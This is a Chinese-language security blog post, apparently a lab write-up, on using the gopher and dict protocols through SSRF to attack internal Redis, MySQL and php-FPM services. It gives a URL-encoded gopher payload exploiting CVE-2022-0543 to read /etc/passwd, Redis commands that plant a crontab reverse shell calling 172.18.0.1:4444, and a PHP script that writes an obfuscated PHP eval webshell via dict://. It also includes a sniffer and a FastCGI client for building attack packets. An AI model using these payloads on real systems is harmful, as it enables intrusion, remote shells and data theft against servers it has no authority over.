Gopher协议的妙用

Gopher协议的妙用

什么是gopher协议?

  • Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。

  • Gopher客户程序和Gopher服务器相连接,并能使用菜单结构显示其它的菜单、文档或文件,并索引。同时可通过Telnet远程访问其它应用程序。Gopher协议使得Internet上的所有Gopher客户程序,能够与Internet上的所有已“注册”的Gopher服务器进行对话。

  • URL:gopher://:/_后接TCP数据流
    gopher的默认端口是70

在此之前就已经有多次用到gopher协议了, SSRF配合上gopher协议确实是一个打内网的好方法,但是一直以来也基本没有对gopher协议进行过专门的学习, 所以这篇文章就展开一些gopher的用法, 再加上本地搭建好的环境后使用gopher协议登绕过内网限制发送请求


0x01登录无授权的Redis

gopher打SSRF的内网可以说是经典用法了, 所以我们就先从这个开始

如何我们访问的目标有Redis并且有未授权访问漏洞的话那么我们就可以通过gopher协议进行redis命令的任意执行,

我们可以结合dir dbfilenameconfig set x "shell"来写入shell, 方法可见我的另一篇文章[渗透测试怎么利用Redis提权](http://h0cksr.xyz/2022/03/17/渗透测试怎么利用redis提权/)

如果服务器是发行版的Debian或者Ubuntu时我们甚至可以结合CVE-2022-0543来完成RCE的效果

下面就来演示一下吧:

  1. 执行info

    image-20220321203754764

  2. 执行 uname -a && cat /etc/passwd && cat /flag

    说明一下, 因为我的redis服务是有CVE-2022-0543漏洞的Vulhub项目docker, 所以直接执行即可成功, 执行失败的注意检查一下自己的redis服务存不存在CVE-2022-0543漏洞, 此外docker中无/flag文件也就无输出了

    image-20220321204609601

    先说明一下, 其实实际上这样子直接对命令进行编码并不是标准的redis请求数据包, 但是我发现可以直接这样子用就懒得修改了(以下payload均是直接通过原命令编码得到), 想要获得标准的redis请求数据包可以参考下面的0x02和0x03使用redis-cli发送请求然后配合sniffer输出请求数据包即可。

    payload:

    curl gopher://127.0.0.1:6379/_%65%76%61%6c%20%27%6c%6f%63%61%6c%20%69%6f%5f%6c%20%3d%20%70%61%63%6b%61%67%65%2e%6c%6f%61%64%6c%69%62%28%22%2f%75%73%72%2f%6c%69%62%2f%78%38%36%5f%36%34%2d%6c%69%6e%75%78%2d%67%6e%75%2f%6c%69%62%6c%75%61%35%2e%31%2e%73%6f%2e%30%22%2c%20%22%6c%75%61%6f%70%65%6e%5f%69%6f%22%29%3b%20%6c%6f%63%61%6c%20%69%6f%20%3d%20%69%6f%5f%6c%28%29%3b%20%6c%6f%63%61%6c%20%66%20%3d%20%69%6f%2e%70%6f%70%65%6e%28%22%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%26%26%20%63%61%74%20%2f%66%6c%61%67%22%2c%20%22%72%22%29%3b%20%6c%6f%63%61%6c%20%72%65%73%20%3d%20%66%3a%72%65%61%64%28%22%2a%61%22%29%3b%20%66%3a%63%6c%6f%73%65%28%29%3b%20%72%65%74%75%72%6e%20%72%65%73%27%20%30
    
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a && cat /etc/passwd && cat /flag", "r"); local res = f:read("*a"); f:close(); return res' 0
    

此外, 如果redis版本较低的话我们也可使用一般的方法反弹shell

  1. 写入/etc/crontab , 我们执行的redis命令是:

    config set dbfilename crontab 
    config set dir /etc
    set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.18.0.1/4444 0>&1\n\n\n"
    save
    
    

    image-20220321215436546最终可以看到数据被写入image-20220321215627386

其实除了gopher协议外, dict协议也可以用来打redis执行info, 但是dict协议的方法并不能完成多语句的执行, 我在本地测试发现如果想要直接一个命令设置\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.18.0.1/4444 0>&1\n\n\n并完成写入那是不可能的, 那一阵子会直接报错, 进入redis执行get x会返回nil甚至是设置失败, 根本没有x这个key。

需要注意的一点是, 有时可能我们发出请求后可能返回ERR的报错信息, 但是并不想redis数据库的执行

不过转机出现在我发现我们还是可以逐个命令执行并完成设置dir dbfilename这两个参数且 \字符并不会被当做目录而产生截断, 但是当我想写一个phpshell时发现?后面的数据会被当做参数直接全部截断, 至于其他的shell语句我还没试, 还是埋个坑, 等过两天有时间的话我在试一下有没有写入getshell的其它方法,比如键值的value逐个字符添加这种 。毕竟现在dirdbfilename都设置好了,save也能执行,要是不试一下的话就太可惜了

image-20220321222743128

以上代码执行结果对应最后三个get x命令的输出

image-20220321223727929

因为这篇文章是今晚今天做CVE-2022-0543复现突然想试试能不能结合gopher协议利用所以才写的, 导致差点把正事给忘了, 后面的fastcgi和mysql也还是和上面找redis的单语句执行找写入shell方法一样, 等过两天有空的时候再去一个个做吧

(时隔三天, 今天来补坑了)

网上找了一些资料后发现一次“SSRF-->RCE”的艰难利用里面遇到了一样的情况, 作者最后使用了bitop函数,完成了?的写入

可以在redis手册中看到bitop函数的解释:

Perform a bitwise operation between multiple keys (containing string values) and store the result in the destination key.

The BITOP command supports four bitwise operations: AND, OR, XOR and NOT, thus the valid forms to call the command are:

    BITOP AND destkey srckey1 srckey2 srckey3 ... srckeyN
    BITOP OR destkey srckey1 srckey2 srckey3 ... srckeyN
    BITOP XOR destkey srckey1 srckey2 srckey3 ... srckeyN
    BITOP NOT destkey srckey

As you can see NOT is special as it only takes an input key, because it performs inversion of bits so it only makes sense as an unary operator.

The result of the operation is always stored at destkey.

可知bitop可以对键值对进行AND OR XOR NOT 三个运算, 然后在原文中作者使用的是OR操作生成了问号

image-20220324113409902

最后我根据手册操作发现这个运算应该是二进制码按位操作, 所以实际上我们亦可以对写入的代码进行全部取反, 读出时先使用NOR 操作还原后写入文件即可

image-20220324114517059

<?php
$cmd1="config set dir /tmp";
$cmd2="config set dbfilename shell.php";
$cmd3="set shell ".~'\'


<?php eval($_REQUEST[0]);?>


\'';
$cmd4="bitop not end_shell shell";
$cmd5="get shell";
$cmd6="get end_shell";
$cmd6="save";
$cmd7="bgsave";
system("curl 'dict://172.17.0.2:6379/".$cmd1."'");
system("curl 'dict://172.17.0.2:6379/".$cmd2."'");
system("curl 'dict://172.17.0.2:6379/".$cmd3."'");
system("curl 'dict://172.17.0.2:6379/".$cmd4."'");
system("curl 'dict://172.17.0.2:6379/".$cmd5."'");
system("curl 'dict://172.17.0.2:6379/".$cmd6."'");
system("curl 'dict://172.17.0.2:6379/".$cmd7."'");
?>

执行命令:

php poc.php

image-20220324125358614

之后可以看到内容确实成功写入文件中, dict://协议使用完成

值得注意的一点是: 通过nc 对比gopher和dict协议可以发现,dict会自动加上quit命令 XD

既然NOT是每个字符按位那么其他的XOR OR AND 应该也是可以使用位运算绕过的, 感兴趣的师傅可以自己试一下, 不过感觉还是取反这个单参数操作最容易


0x02登录无密码验证的Mysql

原本标题为登录无密码的Mysql, 但是测试后发现如果有密码验证的话即使密码为空我们也是登录不上去的,使用gopher协议登录也只会返回管道破损。只有在不开启密码验证的时候才会成功登录Mysql并执行一些操作语句, 所以也就给标题加了验证两个字。

如果进入Mysql使用set authentication_string=password('') where user='root' and Host ='localhost'; 这样的命令修改密码为空, 并且重启mysql服务后, 虽然直接在服务器端运行mysql -uroot就可以直接登录, 但是实际上如果我们改为mysql -h 127.0.0.1 -uroot登录就会显示登录失败, 因为没有密码就不能通过密码验证。实际上我们还是有密码的, 只不过被设置为空而已, 如果这时候测试连接那无疑是会失败的。

如果使用gopher通过有密码(即使密码为空)的方式连接mysql的话只会返回一个curl: (55) Send failure: Broken pipe 所以我们需要修改配置文件, 我修改的是容器下的/etc/mysql/mysql.conf.d/mysqld.cnf配置文件, 在mysqld下加上skip-grant-tables参数

image-20220324165954655

然后使用命令sniffer -p3306 开启sniff监听3306端口等待数据即可

sniffer源码如下, 编译完成后记得chomd +x sniffer添加执行权限

#include <sys/types.h> 
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/filter.h>
#include "config.h"
#include "parse.h"
#include "common.h"


int
check_argv(int argc, char *argv[])
{
    int    opt;

    if(argc > 2) {
        printf("Usage: ./sniffer [-p port]\n");
        return 0;
    }
    while((opt = getopt(argc, argv, "p:")) != -1) {
        switch(opt) {

        case 'p':
            port = validate_port(optarg);
            break;
        default:
            printf("Usage: ./sniffer [-p port]\n");
            return 0;
        }
    }
    return 1;
}

void
filter_port(int sock_raw, int port)
{
    struct sock_filter bpf_code[] = {
        { 0x28, 0, 0, 0x0000000c },
        { 0x15, 0, 6, 0x000086dd },
        { 0x30, 0, 0, 0x00000014 },
        { 0x15, 0, 15, 0x00000006 },
        { 0x28, 0, 0, 0x00000036 },
        { 0x15, 12, 0, port },
        { 0x28, 0, 0, 0x00000038 },
        { 0x15, 10, 11, port },
        { 0x15, 0, 10, 0x00000800 },
        { 0x30, 0, 0, 0x00000017 },
        { 0x15, 0, 8, 0x00000006 },
        { 0x28, 0, 0, 0x00000014 },
        { 0x45, 6, 0, 0x00001fff },
        { 0xb1, 0, 0, 0x0000000e },
        { 0x48, 0, 0, 0x0000000e },
        { 0x15, 2, 0, port },
        { 0x48, 0, 0, 0x00000010 },
        { 0x15, 0, 1, port },
        { 0x6, 0, 0, 0x00040000 },
        { 0x6, 0, 0, 0x00000000 },
    };
    struct sock_fprog filter;

    filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
    filter.filter = bpf_code;
    if (setsockopt(sock_raw, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
        perror("setsockopt");
        close(sock_raw);
        exit(1);
    }

}

int
main(int argc, char *argv[])
{
    int             sock_raw;
    int              data_size;
    unsigned int     saddr_size;
    struct sockaddr  saddr;
    unsigned char   *buffer;
    char            *data;

    if (!check_argv(argc, argv)) {
        return -1;
    }

    buffer = (unsigned char *)malloc(PKTBUFSIZE);

    /*接受所有的ip数据帧*/
    sock_raw = socket(PF_PACKET , SOCK_RAW , htons(ETH_P_IP));
    if(sock_raw < 0) {
        die("Socket Error");
    }
    filter_port(sock_raw, port);

    saddr_size = sizeof(saddr);
    for(;;) {
        memset(buffer, '\0', BUFFER_SIZE);

        data_size = recvfrom(sock_raw , buffer , BUFFER_SIZE , 0 , &saddr , &saddr_size);
        if(data_size < 0) {
            die("Recvfrom error , failed to get packets");
        }
        if(data_size > 0) {
            redis_process_packet(buffer, data_size);
        }
    }

    free(buffer);
    close(sock_raw);
    return 0;
}

然后我们使用命令连接mysql并执行语句

mysql -h127.0.0.1 -uroot -e "select version();use mysql;show tables;create database create_test;show databases"

接着就可以在sniffer下面看到url编码后的数据流了, 我们直接使用即可

image-20220324170457756

curl gopher://127.0.0.1:3306/_输出的内容

最后可以看到, 全部输出了version和表名, 虽然数据格式是很不规范的, 但是并不影响我们正常查看, 并且进入数据库也可以看到新加了一个create_test


0x03fastcgi

fastcgi数据......

这个可以说是打php-FPM服务的老工具人了, 不过其中设计到的一些协议构造啥的还要自己再开个环境, 已经懒了懒了, 想要获取fastcgi格式的数据包可以使用Python-FastCGI-Client的客户端模拟fastcgi请求, 以此执行下面命令即可获得模拟客户端发送的fastcgi请求数据

sniffer -p9000
python fcgi.py http://127.0.0.1:9000 /home/firebroo/test/1.php e=id

fcgi.py代码:

from FastCGIClient import *
import sys
from urlparse import urlparse as parse_url


def main():
    argvs = sys.argv
    argc = len(argvs)
    if argc < 3:
        print('Usage: python fcgi.py http://127.0.0.1:9000/path/to/some.php?queryString path/to/documentroot postData')
        print('Example: python fcgi.py http://127.0.0.1:9000/echo.php\?name\=john '
              '/Users/baidu/php_workspace name=john&address=beijing')
        return
    argv = argvs[1]
    documentRoot = argvs[2]
    parseResult = parse_url(argv)
    host = parseResult.hostname
    port = parseResult.port
    uri = parseResult.path
    query = parseResult.query
    client = FastCGIClient(host, port, 3000, 0)
    content = ''
    if argc > 3:
        content = argvs[3]
    # content = "name=john&address=beijing"
    params = {'GATEWAY_INTERFACE': 'FastCGI/1.0',
              'REQUEST_METHOD': 'POST',
              'SCRIPT_FILENAME': documentRoot + uri,
              'SCRIPT_NAME': uri,
              'QUERY_STRING': query,
              'REQUEST_URI': uri,
              'DOCUMENT_ROOT': documentRoot,
              'SERVER_SOFTWARE': 'php/fcgiclient',
              'REMOTE_ADDR': '127.0.0.1',
              'REMOTE_PORT': '9985',
              'SERVER_ADDR': '127.0.0.1',
              'SERVER_PORT': '80',
              'SERVER_NAME': "localhost",
              'SERVER_PROTOCOL': 'HTTP/1.1',
              'CONTENT_TYPE': 'application/x-www-form-urlencoded',
              'CONTENT_LENGTH': len(content)
              }
    print(client.request(params, content))


if __name__ == '__main__':
    main()

运行结果:image-20220324174033307

关于使用构造的fastcgi数据包打php-FPM的详细用法可以参考我的另一篇文章蓝帽杯 2021 One Pointer PHP | BUU, 不过这个文章每次进去都会被火绒报毒, 就挺无语的......

收工收工

posted @ 2022-04-25 12:34  h0cksr  阅读(1125)  评论(0编辑  收藏  举报